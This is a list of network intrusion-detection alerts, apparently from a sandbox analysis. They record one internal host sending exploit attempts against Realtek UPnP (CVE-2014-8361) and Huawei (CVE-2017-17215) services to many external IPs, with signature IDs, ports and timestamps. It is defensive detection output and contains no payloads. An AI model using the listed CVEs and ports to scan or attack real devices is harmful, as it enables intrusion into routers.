ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.228.21.159

Timestamp:	07/20/24-23:02:08.084135
SID:	2027339
Source Port:	36338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.255.54.255

Timestamp:	07/20/24-23:02:02.476638
SID:	2831300
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.224.193

Timestamp:	07/20/24-23:01:01.904524
SID:	2835222
Source Port:	47078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.123.59.88

Timestamp:	07/20/24-23:01:21.951975
SID:	2829579
Source Port:	43410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.193.122.132

Timestamp:	07/20/24-23:01:55.154049
SID:	2027339
Source Port:	58122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.119.211.11

Timestamp:	07/20/24-23:01:54.829737
SID:	2027339
Source Port:	35970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.24.138.22

Timestamp:	07/20/24-23:01:24.883172
SID:	2829579
Source Port:	36552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.43.148

Timestamp:	07/20/24-23:01:11.816294
SID:	2835222
Source Port:	46590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.44.188.95

Timestamp:	07/20/24-23:01:45.432263
SID:	2027339
Source Port:	38040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.73.178.106

Timestamp:	07/20/24-23:01:47.856443
SID:	2027339
Source Port:	44526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.134.165.10

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	47872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.167.88

Timestamp:	07/20/24-23:01:40.331150
SID:	2829579
Source Port:	41418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.212.171.84

Timestamp:	07/20/24-23:01:42.673065
SID:	2831300
Source Port:	36994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.68.100.131

Timestamp:	07/20/24-23:01:08.611391
SID:	2027339
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.151.222.142

Timestamp:	07/20/24-23:01:00.638418
SID:	2835222
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.12.206.97

Timestamp:	07/20/24-23:02:09.668312
SID:	2025132
Source Port:	39408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.244.130.144

Timestamp:	07/20/24-23:01:44.020551
SID:	2025132
Source Port:	46324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.229.235.45

Timestamp:	07/20/24-23:01:44.274813
SID:	2027339
Source Port:	60748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.71.96.96

Timestamp:	07/20/24-23:01:42.762943
SID:	2831300
Source Port:	45962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.252.101.116

Timestamp:	07/20/24-23:01:44.811941
SID:	2027339
Source Port:	43366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.9.81.218

Timestamp:	07/20/24-23:01:55.572517
SID:	2027339
Source Port:	45208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.236.243.93

Timestamp:	07/20/24-23:01:08.620788
SID:	2027339
Source Port:	57014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.13.41.148

Timestamp:	07/20/24-23:01:49.228425
SID:	2025132
Source Port:	55586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.251.31.217

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	48742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.150.162.76

Timestamp:	07/20/24-23:01:20.591832
SID:	2831300
Source Port:	45912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.183.76.230

Timestamp:	07/20/24-23:01:44.749294
SID:	2831300
Source Port:	56020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.157.173.255

Timestamp:	07/20/24-23:01:25.595910
SID:	2025132
Source Port:	47002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.130.44.143

Timestamp:	07/20/24-23:01:41.331701
SID:	2027339
Source Port:	50740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.134.98.50

Timestamp:	07/20/24-23:01:08.606848
SID:	2831300
Source Port:	53660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.208.30.144

Timestamp:	07/20/24-23:01:45.175511
SID:	2025132
Source Port:	45520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.33.61

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	35438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.188.157.139

Timestamp:	07/20/24-23:01:50.030683
SID:	2025132
Source Port:	56748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.182.30.66

Timestamp:	07/20/24-23:01:42.891313
SID:	2027339
Source Port:	49330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.243.121.184

Timestamp:	07/20/24-23:01:53.432917
SID:	2025132
Source Port:	38766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.161.24.118

Timestamp:	07/20/24-23:01:42.557694
SID:	2027339
Source Port:	53706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.152.226.6

Timestamp:	07/20/24-23:01:47.023698
SID:	2027339
Source Port:	56202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.67.248.34

Timestamp:	07/20/24-23:01:47.455725
SID:	2027339
Source Port:	39524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.190.28.75

Timestamp:	07/20/24-23:01:01.484620
SID:	2027339
Source Port:	41228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.114.72.114

Timestamp:	07/20/24-23:01:04.973966
SID:	2027339
Source Port:	33896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.157.219.101

Timestamp:	07/20/24-23:02:19.406496
SID:	2027339
Source Port:	48398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.13.214.247

Timestamp:	07/20/24-23:02:11.700204
SID:	2027339
Source Port:	38574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.95.241.47

Timestamp:	07/20/24-23:01:41.258403
SID:	2025132
Source Port:	41176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.41.229.158

Timestamp:	07/20/24-23:01:44.099799
SID:	2025132
Source Port:	54386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.52.105.57

Timestamp:	07/20/24-23:01:42.164492
SID:	2027339
Source Port:	48656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.222.36.60

Timestamp:	07/20/24-23:01:41.290281
SID:	2027339
Source Port:	35222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.119.219.206

Timestamp:	07/20/24-23:01:04.100971
SID:	2835222
Source Port:	39282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.159.217.211

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	43708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.179.102.199

Timestamp:	07/20/24-23:01:08.626717
SID:	2027339
Source Port:	33640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.239.208.54

Timestamp:	07/20/24-23:01:41.238000
SID:	2025132
Source Port:	38464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 194.5.145.232

Timestamp:	07/20/24-23:01:42.062724
SID:	2831300
Source Port:	55200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.188.68.37

Timestamp:	07/20/24-23:01:57.392094
SID:	2025132
Source Port:	36884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.42.251.42

Timestamp:	07/20/24-23:01:41.533243
SID:	2027339
Source Port:	44868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.106.122.253

Timestamp:	07/20/24-23:01:10.585824
SID:	2027339
Source Port:	37250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.122.130.75

Timestamp:	07/20/24-23:01:43.133950
SID:	2025132
Source Port:	39136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 106.214.178.206

Timestamp:	07/20/24-23:01:02.079114
SID:	2829579
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.220.6.134

Timestamp:	07/20/24-23:01:25.549014
SID:	2025132
Source Port:	60312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.138.152.232

Timestamp:	07/20/24-23:01:56.324972
SID:	2027339
Source Port:	46594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.85.2.136

Timestamp:	07/20/24-23:02:02.291967
SID:	2831300
Source Port:	57042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.200.160.126

Timestamp:	07/20/24-23:01:47.912435
SID:	2025132
Source Port:	55434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.53.37.254

Timestamp:	07/20/24-23:01:08.585790
SID:	2027339
Source Port:	58538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.42.73.158

Timestamp:	07/20/24-23:01:34.045144
SID:	2829579
Source Port:	40918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.129.147.154

Timestamp:	07/20/24-23:01:42.462291
SID:	2831300
Source Port:	39952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.114.230.189

Timestamp:	07/20/24-23:01:01.464786
SID:	2027339
Source Port:	52634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.189.55.135

Timestamp:	07/20/24-23:01:08.903232
SID:	2831300
Source Port:	54976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.42.165.29

Timestamp:	07/20/24-23:01:58.202290
SID:	2027339
Source Port:	33930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.53.98.68

Timestamp:	07/20/24-23:01:11.634077
SID:	2829579
Source Port:	35526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.24.234

Timestamp:	07/20/24-23:01:27.654173
SID:	2829579
Source Port:	35068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 79.233.85.196

Timestamp:	07/20/24-23:01:11.817298
SID:	2829579
Source Port:	40146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.113.255.232

Timestamp:	07/20/24-23:01:44.355606
SID:	2025132
Source Port:	38094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.247.179.245

Timestamp:	07/20/24-23:01:25.783904
SID:	2027339
Source Port:	55398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.4.44.94

Timestamp:	07/20/24-23:01:12.806235
SID:	2027339
Source Port:	40150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.122.229.51

Timestamp:	07/20/24-23:01:43.084243
SID:	2027339
Source Port:	34282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.97.134.51

Timestamp:	07/20/24-23:01:48.445925
SID:	2831300
Source Port:	43088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 134.101.23.241

Timestamp:	07/20/24-23:01:45.432263
SID:	2831300
Source Port:	34106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.193.202.8

Timestamp:	07/20/24-23:01:42.151857
SID:	2027339
Source Port:	44722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.244.205.180

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	57500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.88.48.35

Timestamp:	07/20/24-23:01:51.875785
SID:	2831300
Source Port:	59312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.65.97.97

Timestamp:	07/20/24-23:01:53.697003
SID:	2027339
Source Port:	55182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.69.223.90

Timestamp:	07/20/24-23:02:11.703257
SID:	2027339
Source Port:	52068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.223.189.233

Timestamp:	07/20/24-23:02:03.112911
SID:	2027339
Source Port:	43688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.25.236.70

Timestamp:	07/20/24-23:01:42.616434
SID:	2027339
Source Port:	32946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.221.214.48

Timestamp:	07/20/24-23:01:47.443306
SID:	2027339
Source Port:	46994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.181.48

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.167.250.116

Timestamp:	07/20/24-23:01:43.066571
SID:	2027339
Source Port:	46598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.112.72.60

Timestamp:	07/20/24-23:01:49.203134
SID:	2025132
Source Port:	48192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 217.234.58.254

Timestamp:	07/20/24-23:01:11.816521
SID:	2829579
Source Port:	38808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.160.123

Timestamp:	07/20/24-23:01:31.976795
SID:	2835222
Source Port:	57148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.64.8.64

Timestamp:	07/20/24-23:01:40.301143
SID:	2835222
Source Port:	40256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 38.140.206.136

Timestamp:	07/20/24-23:01:04.212553
SID:	2829579
Source Port:	40552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.213.242

Timestamp:	07/20/24-23:01:20.132510
SID:	2835222
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.130.44.143

Timestamp:	07/20/24-23:01:45.098864
SID:	2027339
Source Port:	51472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.44.248.130

Timestamp:	07/20/24-23:01:55.716125
SID:	2025132
Source Port:	36576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.120.27.200

Timestamp:	07/20/24-23:02:03.159117
SID:	2027339
Source Port:	38730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.244.130.144

Timestamp:	07/20/24-23:01:44.590674
SID:	2027339
Source Port:	46584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.194.118.37

Timestamp:	07/20/24-23:01:08.611774
SID:	2831300
Source Port:	59634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.66.178.116

Timestamp:	07/20/24-23:02:07.236630
SID:	2025132
Source Port:	51288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.142.168.90

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	50504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.185.104.236

Timestamp:	07/20/24-23:01:31.322110
SID:	2027339
Source Port:	51984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.195.41.193

Timestamp:	07/20/24-23:01:43.607934
SID:	2027339
Source Port:	59822
